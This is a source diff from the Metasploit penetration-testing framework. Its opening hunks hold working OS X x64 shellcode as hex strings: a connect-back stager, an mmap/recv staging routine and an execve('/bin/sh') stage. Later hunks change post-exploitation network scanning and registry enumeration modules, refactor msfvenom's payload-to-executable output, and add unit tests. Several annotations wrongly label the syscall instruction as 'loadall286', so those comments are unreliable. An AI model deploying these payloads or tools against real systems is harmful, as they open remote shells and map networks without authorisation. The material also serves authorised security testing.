"\x4C\x89\xDE" + # mov rsi,r11
|
||||||
"\x81\xE6\x00\xF0\xFF\xFF" + # and esi,0xfffff000
|
"\x81\xE6\x00\xF0\xFF\xFF" + # and esi,0xfffff000
|
||||||
"\x81\xC6\x00\x10\x00\x00" + # add esi,0x1000
|
"\x81\xC6\x00\x10\x00\x00" + # add esi,0x1000
|
||||||
"\xB8\xC5\x00\x00\x02" + # mov eax,0x20000c5
|
"\xB8\xC5\x00\x00\x02" + # mov eax,0x20000c5
|
||||||
"\x48\x31\xFF" + # xor rdi,rdi
|
"\x48\x31\xFF" + # xor rdi,rdi
|
||||||
"\x48\xFF\xCF" + # dec rdi
|
"\x48\xFF\xCF" + # dec rdi
|
||||||
"\xBA\x07\x00\x00\x00" + # mov edx,0x7
|
"\xBA\x07\x00\x00\x00" + # mov edx,0x7
|
||||||
"\x41\xBA\x02\x10\x00\x00" + # mov r10d,0x1002
|
"\x41\xBA\x02\x10\x00\x00" + # mov r10d,0x1002
|
||||||
"\x49\x89\xF8" + # mov r8,rdi
|
"\x49\x89\xF8" + # mov r8,rdi
|
||||||
"\x4D\x31\xC9" + # xor r9,r9
|
"\x4D\x31\xC9" + # xor r9,r9
|
||||||
"\x0F\x05" + # loadall286
|
"\x0F\x05" + # loadall286
|
||||||
"\x48\x89\xC6" + # mov rsi,rax
|
"\x48\x89\xC6" + # mov rsi,rax
|
||||||
"\x56" + # push rsi
|
"\x56" + # push rsi
|
||||||
"\x4C\x89\xEF" + # mov rdi,r13
|
"\x4C\x89\xEF" + # mov rdi,r13
|
||||||
"\x48\x31\xC9" + # xor rcx,rcx
|
"\x48\x31\xC9" + # xor rcx,rcx
|
||||||
"\x4C\x89\xDA" + # mov rdx,r11
|
"\x4C\x89\xDA" + # mov rdx,r11
|
||||||
"\x4D\x31\xC0" + # xor r8,r8
|
"\x4D\x31\xC0" + # xor r8,r8
|
||||||
"\x4D\x31\xD2" + # xor r10,r10
|
"\x4D\x31\xD2" + # xor r10,r10
|
||||||
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
||||||
"\x0F\x05" + # loadall286
|
"\x0F\x05" + # loadall286
|
||||||
"\x58" + # pop rax
|
"\x58" + # pop rax
|
||||||
"\xFF\xD0" # call rax
|
"\xFF\xD0" # call rax
|
||||||
}
|
}
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
|
@ -31,19 +31,19 @@ module Metasploit3
|
||||||
'LPORT' => [ 35, 'n']
|
'LPORT' => [ 35, 'n']
|
||||||
},
|
},
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
|
"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
|
||||||
"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
|
"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
|
||||||
"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
|
"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
|
||||||
"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
|
"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
|
||||||
"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
|
"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
|
||||||
"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
|
"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
|
||||||
"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
|
"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
|
||||||
"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
|
"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
|
||||||
"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
|
"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
|
||||||
"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
|
"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
|
||||||
"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
|
"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
|
||||||
"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
|
"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
|
||||||
"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
|
"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
|
||||||
}
|
}
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
|
@ -26,11 +26,11 @@ module Metasploit3
|
||||||
'Stage' =>
|
'Stage' =>
|
||||||
{
|
{
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
"\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a"+
|
"\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a"+
|
||||||
"\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8"+
|
"\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8"+
|
||||||
"\x3b\x00\x00\x02\xe8\x08\x00\x00\x00\x2f\x62\x69"+
|
"\x3b\x00\x00\x02\xe8\x08\x00\x00\x00\x2f\x62\x69"+
|
||||||
"\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"+
|
"\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"+
|
||||||
"\x52\x57\x48\x89\xe6\x0f\x05"
|
"\x52\x57\x48\x89\xe6\x0f\x05"
|
||||||
}
|
}
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
|
@ -11,8 +11,9 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
require 'msf/core/post/file'
|
|
||||||
require 'msf/core/post/common'
|
require 'msf/core/post/common'
|
||||||
|
require 'msf/core/post/file'
|
||||||
|
require 'msf/core/post/unix'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
|
|
@ -43,7 +43,6 @@ class Metasploit3 < Msf::Post
|
||||||
print_status("Performing ping sweep for IP range #{iprange}")
|
print_status("Performing ping sweep for IP range #{iprange}")
|
||||||
iplst = []
|
iplst = []
|
||||||
begin
|
begin
|
||||||
a = []
|
|
||||||
ipadd = Rex::Socket::RangeWalker.new(iprange)
|
ipadd = Rex::Socket::RangeWalker.new(iprange)
|
||||||
numip = ipadd.num_ips
|
numip = ipadd.num_ips
|
||||||
while (iplst.length < numip)
|
while (iplst.length < numip)
|
||||||
|
@ -81,13 +80,14 @@ class Metasploit3 < Msf::Post
|
||||||
ip_found = []
|
ip_found = []
|
||||||
|
|
||||||
while(not iplst.nil? and not iplst.empty?)
|
while(not iplst.nil? and not iplst.empty?)
|
||||||
|
a = []
|
||||||
1.upto(thread_num) do
|
1.upto(thread_num) do
|
||||||
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add|
|
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add|
|
||||||
next if ip_add.nil?
|
next if ip_add.nil?
|
||||||
if platform =~ /solaris/i
|
if platform =~ /solaris/i
|
||||||
r = cmd_exec(cmd, "-n #{ip_add} 1")
|
r = cmd_exec(cmd, "-n #{ip_add} 1")
|
||||||
else
|
else
|
||||||
r = cmd_exec(cmd, count + ip_add)
|
r = cmd_exec(cmd, count + ip_add)
|
||||||
end
|
end
|
||||||
if r =~ /(TTL|Alive)/i
|
if r =~ /(TTL|Alive)/i
|
||||||
print_status "\t#{ip_add} host found"
|
print_status "\t#{ip_add} host found"
|
||||||
|
@ -97,8 +97,8 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
a.map {|x| x.join }
|
|
||||||
end
|
end
|
||||||
|
a.map {|x| x.join }
|
||||||
end
|
end
|
||||||
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
|
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
|
|
|
@ -46,6 +46,12 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
print_error("*********************************************************")
|
||||||
|
print_error("* *")
|
||||||
|
print_error("* Module will be depricated on Jan 10 2013 *")
|
||||||
|
print_error("* Please use exploits/windows/local/service_permissions *")
|
||||||
|
print_error("* *")
|
||||||
|
print_error("*********************************************************")
|
||||||
print_status("running")
|
print_status("running")
|
||||||
|
|
||||||
lhost = datastore["LHOST"] || Rex::Socket.source_address
|
lhost = datastore["LHOST"] || Rex::Socket.source_address
|
||||||
|
|
|
@ -64,6 +64,7 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
while(not iplst.nil? and not iplst.empty?)
|
while(not iplst.nil? and not iplst.empty?)
|
||||||
|
a = []
|
||||||
1.upto(threads) do
|
1.upto(threads) do
|
||||||
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_text|
|
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_text|
|
||||||
next if ip_text.nil?
|
next if ip_text.nil?
|
||||||
|
@ -79,8 +80,8 @@ class Metasploit3 < Msf::Post
|
||||||
report_note(:host => ip_text, :type => "mac_oui", :data => company)
|
report_note(:host => ip_text, :type => "mac_oui", :data => company)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
a.map {|x| x.join }
|
|
||||||
end
|
end
|
||||||
|
a.map {|x| x.join }
|
||||||
end
|
end
|
||||||
return found
|
return found
|
||||||
end
|
end
|
||||||
|
|
|
@ -181,18 +181,18 @@ class Metasploit3 < Msf::Post
|
||||||
found_key = false
|
found_key = false
|
||||||
basekey_set = ["HKLM\\SOFTWARE\\Oracle\\SYSMAN","HKLM\\SOFTWARE\\ORACLE\\KEY_XE"]
|
basekey_set = ["HKLM\\SOFTWARE\\Oracle\\SYSMAN","HKLM\\SOFTWARE\\ORACLE\\KEY_XE"]
|
||||||
basekey_set.each do |basekey|
|
basekey_set.each do |basekey|
|
||||||
next if found_key
|
next if found_key
|
||||||
instances = registry_enumkeys(basekey)
|
instances = registry_enumkeys(basekey)
|
||||||
if instances.nil? or instances.empty?
|
if instances.nil? or instances.empty?
|
||||||
next
|
next
|
||||||
else
|
else
|
||||||
found_key = true
|
found_key = true
|
||||||
end
|
end
|
||||||
|
|
||||||
instances.each do |i|
|
instances.each do |i|
|
||||||
if basekey.include?"KEY_XE"
|
if basekey.include?"KEY_XE"
|
||||||
val_ORACLE_SID = registry_getvaldata(basekey,"ORACLE_SID")
|
val_ORACLE_SID = registry_getvaldata(basekey,"ORACLE_SID")
|
||||||
val_ORACLE_HOME = registry_getvaldata(basekey,"ORACLE_HOME")
|
val_ORACLE_HOME = registry_getvaldata(basekey,"ORACLE_HOME")
|
||||||
else
|
else
|
||||||
key = "#{basekey}\\#{i}"
|
key = "#{basekey}\\#{i}"
|
||||||
val_ORACLE_SID = registry_getvaldata(key,"ORACLE_SID")
|
val_ORACLE_SID = registry_getvaldata(key,"ORACLE_SID")
|
||||||
|
|
73
msfvenom
73
msfvenom
|
@ -312,7 +312,8 @@ opts[:badchars] = Rex::Text.hex_to_raw(opts[:badchars]) if opts[:
|
||||||
# set the defaults unless something is already set by the user
|
# set the defaults unless something is already set by the user
|
||||||
if opts[:payload] != 'stdin'
|
if opts[:payload] != 'stdin'
|
||||||
opts[:arch] ||= payload.arch[0]
|
opts[:arch] ||= payload.arch[0]
|
||||||
opts[:platform] ||= Msf::Module::PlatformList.transform(payload.platform.platforms)
|
# If it's not stdin, we'll already have a PlatfromList
|
||||||
|
opts[:platform] ||= payload.platform
|
||||||
else
|
else
|
||||||
# defaults for stdin payloads users should define them
|
# defaults for stdin payloads users should define them
|
||||||
unless opts[:arch]
|
unless opts[:arch]
|
||||||
|
@ -325,6 +326,8 @@ else
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# After this point, we will have set a platform, even if it's wrong.
|
||||||
|
|
||||||
opts[:format] ||= 'ruby'
|
opts[:format] ||= 'ruby'
|
||||||
opts[:encoder] ||= nil
|
opts[:encoder] ||= nil
|
||||||
opts[:encode] ||= !(opts[:badchars].nil? or opts[:badchars].empty?)
|
opts[:encode] ||= !(opts[:badchars].nil? or opts[:badchars].empty?)
|
||||||
|
@ -351,7 +354,7 @@ exeopts = { :inject => opts[:inject], :template_path => path, :template => altex
|
||||||
|
|
||||||
# If we were given addshellcode for a win32 payload,
|
# If we were given addshellcode for a win32 payload,
|
||||||
# create a double-payload; one running in one thread, one running in the other
|
# create a double-payload; one running in one thread, one running in the other
|
||||||
if opts[:addshellcode] and opts[:platform].include?(Msf::Module::Platform::Windows) and opts[:arch] == 'x86'
|
if opts[:addshellcode] and opts[:platform].platforms.include?(Msf::Module::Platform::Windows) and opts[:arch] == 'x86'
|
||||||
payload_raw = Msf::Util::EXE.win32_rwx_exec_thread(payload_raw,0,'end')
|
payload_raw = Msf::Util::EXE.win32_rwx_exec_thread(payload_raw,0,'end')
|
||||||
file = ::File.new(opts[:addshellcode])
|
file = ::File.new(opts[:addshellcode])
|
||||||
file.binmode
|
file.binmode
|
||||||
|
@ -450,52 +453,46 @@ when /java/i
|
||||||
print_error("Could not generate payload format")
|
print_error("Could not generate payload format")
|
||||||
end
|
end
|
||||||
when /elf/i
|
when /elf/i
|
||||||
if (not opts[:platform] or (opts[:platform].index(Msf::Module::Platform::Linux)))
|
if (opts[:platform].index(Msf::Module::Platform::Linux))
|
||||||
if opts[:arch] =~ /x64/
|
elf = case opts[:arch]
|
||||||
elf = Msf::Util::EXE.to_linux_x64_elf($framework, payload_raw, exeopts)
|
when /x64/; Msf::Util::EXE.to_linux_x64_elf($framework, payload_raw, exeopts)
|
||||||
elsif opts[:arch] =~ /x86/
|
when /x86/; Msf::Util::EXE.to_linux_x86_elf($framework, payload_raw, exeopts)
|
||||||
elf = Msf::Util::EXE.to_linux_x86_elf($framework, payload_raw, exeopts)
|
when /arm/; Msf::Util::EXE.to_linux_armle_elf($framework, payload_raw, exeopts)
|
||||||
elsif opts[:arch] =~ /arm/
|
end
|
||||||
elf = Msf::Util::EXE.to_linux_armle_elf($framework, payload_raw, exeopts)
|
|
||||||
else
|
|
||||||
print_error("This format does not support that architecture")
|
|
||||||
exit
|
|
||||||
end
|
|
||||||
elsif(opts[:platform].index(Msf::Module::Platform::BSD))
|
elsif(opts[:platform].index(Msf::Module::Platform::BSD))
|
||||||
if opts[:arch] =~ /x86/
|
elf = case opts[:arch]
|
||||||
elf = Msf::Util::EXE.to_bsd_x86_elf($framework, payload_raw, exeopts)
|
when /x86/; Msf::Util::EXE.to_bsd_x86_elf($framework, payload_raw, exeopts)
|
||||||
else
|
end
|
||||||
print_error("This format does not support that architecture")
|
|
||||||
exit
|
|
||||||
end
|
|
||||||
elsif(opts[:platform].index(Msf::Module::Platform::Solaris))
|
elsif(opts[:platform].index(Msf::Module::Platform::Solaris))
|
||||||
if opts[:arch] =~ /x86/
|
elf = case opts[:arch]
|
||||||
elf = Msf::Util::EXE.to_solaris_x86_elf($framework, payload_raw, exeopts)
|
when /x86/; Msf::Util::EXE.to_solaris_x86_elf($framework, payload_raw, exeopts)
|
||||||
else
|
end
|
||||||
print_error("This format does not support that architecture")
|
end
|
||||||
exit
|
if elf.nil?
|
||||||
end
|
print_error("This format does not support that architecture")
|
||||||
|
exit
|
||||||
end
|
end
|
||||||
$stdout.write elf
|
$stdout.write elf
|
||||||
when /macho/i
|
when /macho/i
|
||||||
if opts[:arch] =~ /x64/
|
bin = case opts[:arch]
|
||||||
bin = Msf::Util::EXE.to_osx_x64_macho($framework, payload_raw, exeopts)
|
when /x64/; Msf::Util::EXE.to_osx_x64_macho($framework, payload_raw, exeopts)
|
||||||
elsif opts[:arch] =~ /x86/
|
when /x86/; Msf::Util::EXE.to_osx_x86_macho($framework, payload_raw, exeopts)
|
||||||
bin = Msf::Util::EXE.to_osx_x86_macho($framework, payload_raw, exeopts)
|
when /arm/; Msf::Util::EXE.to_osx_arm_macho($framework, payload_raw, exeopts)
|
||||||
elsif opts[:arch] =~ /arm/
|
when /ppc/; Msf::Util::EXE.to_osx_ppc_macho($framework, payload_raw, exeopts)
|
||||||
bin = Msf::Util::EXE.to_osx_arm_macho($framework, payload_raw, exeopts)
|
end
|
||||||
elsif opts[:arch] =~ /ppc/
|
if bin.nil?
|
||||||
bin = Msf::Util::EXE.to_osx_ppc_macho($framework, payload_raw, exeopts)
|
|
||||||
else
|
|
||||||
print_error("This format does not support that architecture")
|
print_error("This format does not support that architecture")
|
||||||
exit
|
exit
|
||||||
end
|
end
|
||||||
$stdout.write bin
|
$stdout.write bin
|
||||||
when /dll/i
|
when /dll/i
|
||||||
if opts[:arch] == "x86"
|
dll = case opts[:arch]
|
||||||
dll = Msf::Util::EXE.to_win32pe_dll($framework, payload_raw)
|
when /x86/; Msf::Util::EXE.to_win32pe_dll($framework, payload_raw)
|
||||||
elsif opts[:arch] == "x86_64"
|
when /x64|x86_64/; Msf::Util::EXE.to_win64pe_dll($framework, payload_raw)
|
||||||
dll = Msf::Util::EXE.to_win64pe_dll($framework, payload_raw)
|
end
|
||||||
|
if dll.nil?
|
||||||
|
print_error("This format does not support that architecture")
|
||||||
|
exit
|
||||||
end
|
end
|
||||||
|
|
||||||
$stdout.write dll
|
$stdout.write dll
|
||||||
|
|
|
@ -0,0 +1,97 @@
|
||||||
|
|
||||||
|
require 'msf/core/task_manager'
|
||||||
|
|
||||||
|
describe Msf::TaskManager do
|
||||||
|
|
||||||
|
let(:framework) do
|
||||||
|
Msf::Framework.new
|
||||||
|
end
|
||||||
|
|
||||||
|
let(:tm) do
|
||||||
|
Msf::TaskManager.new(framework)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should have attributes" do
|
||||||
|
tm.should respond_to("processing")
|
||||||
|
tm.should respond_to("queue")
|
||||||
|
tm.should respond_to("thread")
|
||||||
|
tm.should respond_to("framework")
|
||||||
|
tm.should respond_to("processing=")
|
||||||
|
tm.should respond_to("queue=")
|
||||||
|
tm.should respond_to("thread=")
|
||||||
|
tm.should respond_to("framework=")
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should initialize with an empty queue" do
|
||||||
|
tm.queue.length.should == 0
|
||||||
|
tm.backlog.should == 0
|
||||||
|
tm.backlog.should == tm.queue.length
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should add items to the queue and process them" do
|
||||||
|
tm.queue_proc(Proc.new{ })
|
||||||
|
tm.backlog.should == 1
|
||||||
|
t = Msf::TaskManager::Task.new(Proc.new { })
|
||||||
|
tm.queue_task(t)
|
||||||
|
tm.backlog.should == 2
|
||||||
|
tm.start
|
||||||
|
t.wait
|
||||||
|
tm.backlog.should == 0
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should add items to the queue and flush them" do
|
||||||
|
tm.queue_proc(Proc.new{ })
|
||||||
|
tm.backlog.should == 1
|
||||||
|
tm.queue_proc(Proc.new{ })
|
||||||
|
tm.backlog.should == 2
|
||||||
|
tm.flush
|
||||||
|
tm.backlog.should == 0
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should start and stop" do
|
||||||
|
t = Msf::TaskManager::Task.new(Proc.new { })
|
||||||
|
tm.queue_task(t)
|
||||||
|
tm.backlog.should == 1
|
||||||
|
tm.start
|
||||||
|
t.wait
|
||||||
|
tm.backlog.should == 0
|
||||||
|
tm.stop
|
||||||
|
1.upto 100 do |cnt|
|
||||||
|
tm.queue_proc(Proc.new{ })
|
||||||
|
tm.backlog.should == cnt
|
||||||
|
end
|
||||||
|
t = Msf::TaskManager::Task.new(Proc.new { })
|
||||||
|
tm.queue_task(t)
|
||||||
|
tm.start
|
||||||
|
t.wait
|
||||||
|
tm.backlog.should == 0
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should handle task timeouts" do
|
||||||
|
t = Msf::TaskManager::Task.new(Proc.new { sleep(30) })
|
||||||
|
t.timeout = 0.1
|
||||||
|
|
||||||
|
tm.start
|
||||||
|
tm.queue_task(t)
|
||||||
|
t.wait
|
||||||
|
|
||||||
|
t.status.should == :timeout
|
||||||
|
t.duration.should <= 1.0
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should handle task exceptions" do
|
||||||
|
t = Msf::TaskManager::Task.new(Proc.new { asdf1234() })
|
||||||
|
tm.start
|
||||||
|
tm.queue_task(t)
|
||||||
|
t.wait
|
||||||
|
t.status.should == :dropped
|
||||||
|
t.exception.class.should == ::NoMethodError
|
||||||
|
|
||||||
|
t = Msf::TaskManager::Task.new(Proc.new { return 12345 })
|
||||||
|
tm.queue_task(t)
|
||||||
|
t.wait
|
||||||
|
t.status.should == :dropped
|
||||||
|
t.exception.should be_a ::LocalJumpError
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -0,0 +1,102 @@
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/base/simple'
|
||||||
|
|
||||||
|
describe Msf::Util::EXE do
|
||||||
|
|
||||||
|
subject do
|
||||||
|
described_class
|
||||||
|
end
|
||||||
|
|
||||||
|
$framework = Msf::Simple::Framework.create(
|
||||||
|
:module_types => [ Msf::MODULE_NOP ],
|
||||||
|
'DisableDatabase' => true
|
||||||
|
)
|
||||||
|
|
||||||
|
context '.to_executable_fmt' do
|
||||||
|
it "should output nil when given a bogus format" do
|
||||||
|
bin = subject.to_executable_fmt($framework, "", "", "", "does not exist", {})
|
||||||
|
|
||||||
|
bin.should == nil
|
||||||
|
end
|
||||||
|
|
||||||
|
platform_format_map = {
|
||||||
|
"windows" => [
|
||||||
|
{ :format => "dll", :arch => "x86", :file_fp => /PE32 .*DLL/ },
|
||||||
|
{ :format => "dll", :arch => "x64", :file_fp => /PE32\+.*DLL/ },
|
||||||
|
{ :format => "exe", :arch => "x86", :file_fp => /PE32 / },
|
||||||
|
{ :format => "exe", :arch => "x64", :file_fp => /PE32\+/ },
|
||||||
|
{ :format => "exe-small", :arch => "x86", :file_fp => /PE32 / },
|
||||||
|
# No template for 64-bit exe-small. That's fine, we probably
|
||||||
|
# don't need one.
|
||||||
|
#{ :format => "exe-small", :arch => "x64", :file_fp => /PE32\+/ },
|
||||||
|
],
|
||||||
|
"linux" => [
|
||||||
|
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ },
|
||||||
|
{ :format => "elf", :arch => "x64", :file_fp => /ELF 64.*SYSV/ },
|
||||||
|
{ :format => "elf", :arch => "armle",:file_fp => /ELF 32.*ARM/, :pending => true },
|
||||||
|
],
|
||||||
|
"bsd" => [
|
||||||
|
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*BSD/ },
|
||||||
|
],
|
||||||
|
"solaris" => [
|
||||||
|
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32/ },
|
||||||
|
],
|
||||||
|
"osx" => [
|
||||||
|
{ :format => "macho", :arch => "x86", :file_fp => /Mach-O.*i386/ },
|
||||||
|
{ :format => "macho", :arch => "x64", :file_fp => /Mach-O 64/ },
|
||||||
|
{ :format => "macho", :arch => "armle", :file_fp => /Mach-O.*acorn/, :pending => true },
|
||||||
|
{ :format => "macho", :arch => "ppc", :file_fp => /Mach-O.*ppc/, :pending => true },
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
platform_format_map.each do |plat, formats|
|
||||||
|
context "with platform=#{plat}" do
|
||||||
|
let(:platform) do
|
||||||
|
Msf::Module::PlatformList.transform(plat)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should output nil when given bogus format" do
|
||||||
|
bin = subject.to_executable_fmt($framework, formats.first[:arch], platform, "\xcc", "asdf", {})
|
||||||
|
bin.should == nil
|
||||||
|
end
|
||||||
|
it "should output nil when given bogus arch" do
|
||||||
|
bin = subject.to_executable_fmt($framework, "asdf", platform, "\xcc", formats.first[:format], {})
|
||||||
|
bin.should == nil
|
||||||
|
end
|
||||||
|
|
||||||
|
formats.each do |format_hash|
|
||||||
|
fmt = format_hash[:format]
|
||||||
|
arch = format_hash[:arch]
|
||||||
|
|
||||||
|
if format_hash[:pending]
|
||||||
|
pending "returns an executable when given arch=#{arch}, fmt=#{fmt}"
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns an executable when given arch=#{arch}, fmt=#{fmt}" do
|
||||||
|
bin = subject.to_executable_fmt($framework, arch, platform, "\xcc", fmt, {})
|
||||||
|
bin.should be_a String
|
||||||
|
|
||||||
|
f = IO.popen("file -","w+")
|
||||||
|
f.write(bin)
|
||||||
|
f.close_write
|
||||||
|
fp = f.read
|
||||||
|
f.close
|
||||||
|
fp.should =~ format_hash[:file_fp] if format_hash[:file_fp]
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns nil when given bogus format for arch=#{arch}" do
|
||||||
|
bin = subject.to_executable_fmt($framework, arch, platform, "\xcc", "asdf", {})
|
||||||
|
bin.should == nil
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -1,8 +1,5 @@
|
||||||
|
|
||||||
require 'testbase'
|
|
||||||
require 'rexml/document'
|
|
||||||
require 'rex/parser/nmap_xml'
|
require 'rex/parser/nmap_xml'
|
||||||
require 'spec'
|
|
||||||
|
|
||||||
xml = '
|
xml = '
|
||||||
<?xml version="1.0" ?>
|
<?xml version="1.0" ?>
|
||||||
|
@ -46,9 +43,9 @@ describe Rex::Parser::NmapXMLStreamParser do
|
||||||
host["addrs"]["ipv4"].should == "192.168.0.1"
|
host["addrs"]["ipv4"].should == "192.168.0.1"
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
REXML::Document.parse_stream(StringIO.new(xml), parser)
|
||||||
it "should have found exactly one host" do
|
it "should have found exactly one host" do
|
||||||
total_hosts.should == 1
|
total_hosts.should == 1
|
||||||
end
|
end
|
||||||
REXML::Document.parse_stream(StringIO.new(xml), parser)
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,104 @@
|
||||||
|
require 'rex/socket/range_walker'
|
||||||
|
|
||||||
|
describe Rex::Socket::RangeWalker do
|
||||||
|
it "should have a num_ips attribute" do
|
||||||
|
walker = Rex::Socket::RangeWalker.new("")
|
||||||
|
walker.should respond_to("num_ips")
|
||||||
|
walker.should respond_to("length")
|
||||||
|
walker.num_ips.should == walker.length
|
||||||
|
end
|
||||||
|
it "should handle single ipv6 addresses" do
|
||||||
|
walker = Rex::Socket::RangeWalker.new("::1")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 1
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should handle ranges" do
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1.1.1-2")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 2
|
||||||
|
walker.next_ip.should == "10.1.1.1"
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1-2.1.1-2")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 4
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1-2.3-4.5-6")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 8
|
||||||
|
walker.should include("10.1.3.5")
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should default the lower bound of a range to 0" do
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1.3.-17")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 18
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1.3.-255")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 256
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should default the upper bound of a range to 255" do
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1.3.254-")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 2
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should take * to mean 0-255" do
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1.3.*")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 256
|
||||||
|
walker.next_ip.should == "10.1.3.0"
|
||||||
|
walker.should include("10.1.3.255")
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1.*.3")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 256
|
||||||
|
walker.next_ip.should == "10.1.0.3"
|
||||||
|
walker.should include("10.1.255.3")
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should handle lists" do
|
||||||
|
#walker = Rex::Socket::RangeWalker.new("10.1.1.1,2")
|
||||||
|
#walker.should be_valid
|
||||||
|
#walker.length.should == 2
|
||||||
|
walker = Rex::Socket::RangeWalker.new("10.1.1.1")
|
||||||
|
walker.should be_valid
|
||||||
|
walker.length.should == 1
|
||||||
|
